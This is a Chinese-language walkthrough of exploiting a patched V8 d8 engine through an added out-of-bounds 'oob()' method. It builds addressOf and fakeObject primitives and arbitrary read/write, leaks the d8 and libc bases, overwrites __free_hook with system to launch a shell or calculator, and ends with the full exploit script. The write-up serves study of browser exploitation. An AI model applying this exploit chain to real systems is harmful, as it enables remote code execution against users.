var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

泄露obj_array_map时发现泄露的是obj_array_map后面四个字节,内存如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
;obj对象
pwndbg> job 0x294083a1
0x294083a1: [JSArray]
- map: 0x4ccc17bd <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x47b48a75 <JSArray[0]>
- elements: 0x29408395 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x260c0695 <FixedArray[0]> {
#length: 0x28dc00d5 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x29408395 <FixedArray[1]> {
0: 0x29408321 <Object map = 0x4ccc55c5>
}
; obj参数对象
pwndbg> job 0x29408395
0x29408395: [FixedArray]
- map: 0x260c045d <Map>
- length: 1
0: 0x29408321 <Object map = 0x4ccc55c5>
pwndbg> telescope 0x29408394
00:0000│ 0x29408394 —▸ 0x260c045d ◂— 0x260c00 ; obj_elements_map
01:0004│ 0x29408398 ◂— 0x2 ; length = 1
02:0008│ 0x2940839c —▸ 0x29408321 ◂— 0x954ccc55 ; obj_elements_ptr
03:000c│ 0x294083a0 —▸ 0x4ccc17bd ◂— 0x4260c00 ; 要覆盖的map,也就是obj_map
04:0010│ 0x294083a4 —▸ 0x260c0695 ◂— 0x260c04 ; properties
05:0014│ 0x294083a8 —▸ 0x29408395 ◂— 0x2260c04 ; elements_obj
06:0018│ 0x294083ac ◂— 0x2
07:001c│ 0x294083b0 —▸ 0x260c0b29 ◂— 0x260c00

而泄露的内存为00000000260c0695,为obj_array_map的后四个字节,而我们通过调试知道,x86里面变量所占用的存储空间也为8个字节,也就是说,我oob函数读写的时候,所操作的内存空间是8个字节,而起始位置,为0x294083a4,也就正好是越过obj_map,也就是四个字节进行读写。所以我们没有办法操作obj_array_map。

8、传统堆利用方式exp构造

利用步骤

步骤如下:

1、泄露程序本身的地址空间

2、计算d8基址,读取GOT表中malloc等libc函数的内存地址,然后然后计算free_hook或system或one_gadget的地址,最后将system或one_gadget写入free_hook触发hook调用即可实现命令执行

3、调用free(实际上调用了/bin/sh),getshell

泄露地址

可以通过以下顺序:

查看Array对象结构 –> 查看对象的Map属性 –> 查看Map中指定的constructor结构 –> 查看code属性 –>在code内存地址的固定偏移处存储了v8二进制的指令地址

debug日志如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
pwndbg> job 0x27b381f0f8c9
0x27b381f0f8c9: [JSArray]
- map: 0x1ff245482ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x25166f051111 <JSArray[0]>
- elements: 0x27b381f0f8b1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x0de30b5c0c71 <FixedArray[0]> {
#length: 0x2009df4801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x27b381f0f8b1 <FixedDoubleArray[1]> {
0: 1.1
}
pwndbg> job 0x1ff245482ed9
0x1ff245482ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x1ff245482e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x2009df480609 <Cell value= 1>
- instance descriptors #1: 0x25166f051f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x25166f051eb9 <TransitionArray[4]>Transition array #1:
0x0de30b5c4ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1ff245482f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x25166f051111 <JSArray[0]>
- constructor: 0x25166f050ec1 <JSFunction Array (sfi = 0x2009df486791)>
- dependent code: 0x0de30b5c02c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
pwndbg> job 0x25166f050ec1
0x25166f050ec1: [Function] in OldSpace
- map: 0x1ff245482d49 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x25166f042109 <JSFunction (sfi = 0x2009df483b29)>
- elements: 0x0de30b5c0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: 0x25166f051111 <JSArray[0]>
- initial_map: 0x1ff245482d99 <Map(PACKED_SMI_ELEMENTS)>
- shared_info: 0x2009df486791 <SharedFunctionInfo Array>
- name: 0x0de30b5c3599 <String[#5]: Array>
- builtin: ArrayConstructor
- formal_parameter_count: 65535
- kind: NormalFunction
- context: 0x25166f041869 <NativeContext[246]>
- code: 0x1e6620dc6981 <Code BUILTIN ArrayConstructor>
- properties: 0x25166f051029 <PropertyArray[6]> {
#length: 0x2009df4804b9 <AccessorInfo> (const accessor descriptor)
#name: 0x2009df480449 <AccessorInfo> (const accessor descriptor)
#prototype: 0x2009df480529 <AccessorInfo> (const accessor descriptor)
0x0de30b5c4c79 <Symbol: (native_context_index_symbol)>: 11 (const data field 0) properties[0]
0x0de30b5c4f41 <Symbol: Symbol.species>: 0x25166f050fd9 <AccessorPair> (const accessor descriptor)
#isArray: 0x25166f051069 <JSFunction isArray (sfi = 0x2009df486829)> (const data field 1) properties[1]
#from: 0x25166f0510a1 <JSFunction from (sfi = 0x2009df486879)> (const data field 2) properties[2]
#of: 0x25166f0510d9 <JSFunction of (sfi = 0x2009df4868b1)> (const data field 3) properties[3]
}

- feedback vector: not available
pwndbg> job 0x1e6620dc6981
0x1e6620dc6981: [Code]
- map: 0x0de30b5c0a31 <Map>
kind = BUILTIN
name = ArrayConstructor
compiler = turbofan
address = 0x7ffc86ea2078

Trampoline (size = 13)
0x1e6620dc69c0 0 49ba8087519805560000 REX.W movq r10,0x560598518780 (ArrayConstructor)
0x1e6620dc69ca a 41ffe2 jmp r10

Instructions (size = 28)
0x560598518780 0 493955d8 REX.W cmpq [r13-0x28] (root (undefined_value)),rdx
0x560598518784 4 7405 jz 0x56059851878b (ArrayConstructor)
0x560598518786 6 488bca REX.W movq rcx,rdx
0x560598518789 9 eb03 jmp 0x56059851878e (ArrayConstructor)
0x56059851878b b 488bcf REX.W movq rcx,rdi
0x56059851878e e 498b5dd8 REX.W movq rbx,[r13-0x28] (root (undefined_value))
0x560598518792 12 488bd1 REX.W movq rdx,rcx
0x560598518795 15 e926000000 jmp 0x5605985187c0 (ArrayConstructorImpl)
0x56059851879a 1a 90 nop
0x56059851879b 1b 90 nop

Safepoints (size = 8)

RelocInfo (size = 2)
0x1e6620dc69c2 off heap target

pwndbg> telescope 0x1e6620dc6980 20
00:00000x1e6620dc6980 —▸ 0xde30b5c0a31 ◂— 0xde30b5c01
01:00080x1e6620dc6988 —▸ 0xde30b5c2c01 ◂— 0xde30b5c07
02:00100x1e6620dc6990 —▸ 0xde30b5c0c71 ◂— 0xde30b5c08
03:00180x1e6620dc6998 —▸ 0xde30b5c2791 ◂— 0xde30b5c07
04:00200x1e6620dc69a0 —▸ 0x2009df4916a9 ◂— 0xd100000de30b5c14
05:00280x1e6620dc69a8 ◂— or eax, 0xc6000000 /* '\r' */
06:00300x1e6620dc69b0 ◂— sbb al, 0
07:00380x1e6620dc69b8 ◂— and al, 0 /* '$' */
08:00400x1e6620dc69c0 ◂— movabs r10, 0x560598518780
09:00480x1e6620dc69c8 ◂— add byte ptr [rax], al
0a:00500x1e6620dc69d0 ◂— add byte ptr [rax], al
... ↓
0c:00600x1e6620dc69e0 —▸ 0xde30b5c0a31 ◂— 0xde30b5c01
0d:00680x1e6620dc69e8 —▸ 0xde30b5c2c01 ◂— 0xde30b5c07
0e:00700x1e6620dc69f0 —▸ 0xde30b5c0c71 ◂— 0xde30b5c08
0f:00780x1e6620dc69f8 —▸ 0xde30b5c2791 ◂— 0xde30b5c07
10:00800x1e6620dc6a00 —▸ 0x2009df4916c1 ◂— 0xd100000de30b5c14
11:00880x1e6620dc6a08 ◂— or eax, 0xc6000000 /* '\r' */
12:00900x1e6620dc6a10 ◂— mov byte ptr [rcx], al
13:00980x1e6620dc6a18 ◂— lahf

//在偏移0x40的位置取到程序地址空间地址
pwndbg> vmmap 0x560598518780
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x560597bc9000 0x5605987a1000 r-xp bd8000 679000 /root/browser_study/v8/v8/v8/out/x64.release/d8 +0x94f780

编写泄露地址空间地址代码如下

1
2
3
4
5
6
var a = [1.1, 2.2, 3.3];
%DebugPrint(a);
var code_addr = read64(addressOf(a.constructor) + 0x30n);
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));
%SystemBreak();

gdb执行如下

1
2
3
4
5
6
7
8
9
10
11
pwndbg> r
Starting program: /root/browser_study/v8/v8/v8/out/x64.release/d8 --allow-natives-syntax ./poc1.js
...
0x2583cc70fa41 <JSArray[3]>
[*] leak from: 0x000013eba5410ef0: 0x000015e8b1dc6981
[*] leak from: 0x000015e8b1dc69c2: 0x00005626808ca780
[*] find libc leak_d8_addr: 0x00005626808ca780

pwndbg> vmmap 0x00005626808ca780
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x56267ff7b000 0x562680b53000 r-xp bd8000 679000 /root/browser_study/v8/v8/v8/out/x64.release/d8 +0x94f780

计算程序基址以及got表各函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var d8_base_addr = leak_d8_addr -0xfc8780;
var d8_got_libc_start_main_addr = d8_base_addr + 0x12a47b0;

var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
var libc_base_addr = libc_start_main_addr - 0x26fc0n;
var libc_system_addr = libc_base_addr + 0x55410;
var libc_free_hook_addr = libc_base_addr + 0x1eeb28;

console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));
%SystemBreak();

write64(libc_free_hook_addr, libc_system_addr);
console.log("[*] Write ok.");
%SystemBreak();

下面逐个进行讲解

获取d8_base_addr

通过下面两张图,可以看到我们泄露的地址为0x0000559f4ba96780,而应用程序的基地址为0x559f4aace000,这样他们的差值就为0xfc8780

image-20210104201643280

image-20210104201717162

获取d8_got_libc_start_main_addr

ida查看.got的偏移,这里是0x12a47b0

image-20210104201218775获取libc_start_main_addr

image-20210104201103483

image-20210104201129304

获取libc_base_addr

libc的基址可以通过泄露的libc_start_main与偏移进行计算,我们在此次执行中可以知道0x00007f6e88df3fc0是libc_start_main在libc中的地址,0x7f6e88dcd000是libc基址,所以这里的偏移为0x26fc0

image-20210104202359104获取libc_system_addr和libc_free_hook_addr

ida查看下libc文件,可以看出__libc_start_main确实是在libc基址偏移0x26fc0

image-20210104202851003

所以我们可以直接通过查看ida来确定system和free_hook的偏移,可以看出来分别为0x55410,0x1eeb28

image-20210104203218607

image-20210105091543768

也可以通过gdb中泄露函数或者全局变量的地址,再通过与libc基址相减,即可得到相对应的偏移

image-20210105092417427

最后申请一个变量在进行释放,触发free操作

1
2
3
4
5
6
7
function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn)); // str --> /bin/sh\x00
}
get_shell();

结果如下

image-20210105092756824

也可以发送弹出计算器的命令

1
2
3
4
5
6
7
8
9
10
11
function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
//get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn)); // str --> /bin/sh\x00
get_shell_dataview.setFloat64(0, i2f(0x69622fn), true); // /snap/bi
get_shell_dataview.setFloat64(3, i2f(0x2d656d6f6e672f6en), true); // n/gnome-
get_shell_dataview.setFloat64(11, i2f(0x74616c75636c6163n), true); // calculat
get_shell_dataview.setFloat64(19, i2f(0x726fn), true); // or
}
get_shell();

image-20210105093339083

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.oob(obj_array_map); // 还原array类型,以便后续继续使用
return obj_addr;
}
// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型,以便后续继续使用
return faked_obj;
}
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function write64_dataview(addr, data)
{
write64(buf_backing_store_addr, addr);
data_view.setFloat64(0, i2f(data), true);
// %SystemBreak();
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

var a = [1.1, 2.2, 3.3];
var code_addr = read64(addressOf(a.constructor) + 0x30n);
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));

var d8_base_addr = leak_d8_addr -0xfc8780n; //本人的libc版本是libc-2.31.so,具体的偏移需要根据自己的libc版本来确定
var d8_got_libc_start_main_addr = d8_base_addr + 0x12a47b0n;

var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
var libc_base_addr = libc_start_main_addr - 0x26fc0n;
var libc_system_addr = libc_base_addr + 0x55410n;
var libc_free_hook_addr = libc_base_addr + 0x00000000001EEB28n;

console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));
//%SystemBreak();

//write64(libc_free_hook_addr, libc_system_addr);
write64_dataview(libc_free_hook_addr, libc_system_addr);
console.log("[*] Write ok.");
//%SystemBreak();

function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
//get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn)); // str --> /bin/sh\x00
get_shell_dataview.setFloat64(0, i2f(0x69622fn), true); // /snap/bi
get_shell_dataview.setFloat64(3, i2f(0x2d656d6f6e672f6en), true); // n/gnome-
get_shell_dataview.setFloat64(11, i2f(0x74616c75636c6163n), true); // calculat
get_shell_dataview.setFloat64(19, i2f(0x726fn), true); // or
}
get_shell();

参考链接

https://www.freebuf.com/news/203721.html

 Comments